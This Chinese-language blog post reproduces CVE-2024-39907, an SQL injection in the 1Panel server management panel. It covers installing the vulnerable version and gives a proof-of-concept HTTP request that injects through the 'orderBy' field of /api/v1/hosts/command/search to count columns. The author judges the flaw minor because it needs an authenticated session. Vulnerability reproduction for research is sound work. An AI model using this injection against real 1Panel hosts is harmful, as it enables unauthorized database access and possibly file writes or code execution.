1Panel 是一款基于 Web 的 Linux 服务器管理控制面板。项目中存在大量 SQL 注入,部分注入过滤不善,导致任意文件写入,最终导致 RCE。这些 SQL 注入已在 1.10.12-tls 版本中得到解决。建议用户升级。目前尚无针对这些问题的已知解决方法。
下载1panel安装包,可通过下面的地址进行下载(需要登录):
https://community.fit2cloud.com/#/download/1panel/v1-10-10-lts
也可通过本站直接下载(速度较慢)
- https://www.xsssql.com/wp-content/uploads/2024/07/1panel-v1.10.10-lts-linux-amd64.tar.gz
源码下载地址如下:
https://github.com/1Panel-dev/1Panel
下载完之后需要对包进行解压:
cd /tmp # 解压安装包(1panel-v1.10.10-lts-linux-amd64.tar.gz 为示例安装包名称,操作时可根据实际安装包名称替换)
tar zxvf 1panel-v1.10.10-lts-linux-amd64.tar.gz
开始执行安装
su
chmod 777 install.sh
./install.sh
如图:
根据提示输入相关入口、用户名、密码即可:
随后在web访问登录口大致如图所示:
登录后如图:
POC如下:
POST /api/v1/hosts/command/search HTTP/1.1
Host: 192.168.8.128:8877
Accept-Language: zh
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Referer: http://192.168.8.128:8877/aaa
Accept-Encoding: gzip, deflate
Cookie: psession=a85f4260-263d-4e97-ad36-a3f175ff6c97
Connection: close
Content-Length: 83
{"page":1,"pageSize":10,"groupID":0,"orderBy":"12","order":"ascending","name":"a"}
通过改变 orderby的num就可以知道数据表有多少列,如图:
经测试该接口并不存在未授权的情况下实现注入:
原文所说对应的几个注入点大致代码位置如下:
受影响的版本
v1.10.9-lts
修补版本
v1.10.12-tls
总结:
简单的看了下,其实几个漏洞都是需要在拿到Session的情况下进行,在控制面版可看到其实后台已经存在上传文件,以及数据库信息,以及文件浏览下载等,使用该漏洞进行RCE反而走了弯路,该漏洞意义不大
参考链接:
https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-5grx-v727-qmq6
https://www.tenable.com/cve/CVE-2024-39907
欢迎添加作者微信sqlxss为好友
原文始发于微信公众号(阿乐你好):1Panel服务器管理控制面板SQL注入CVE-2024-39907漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论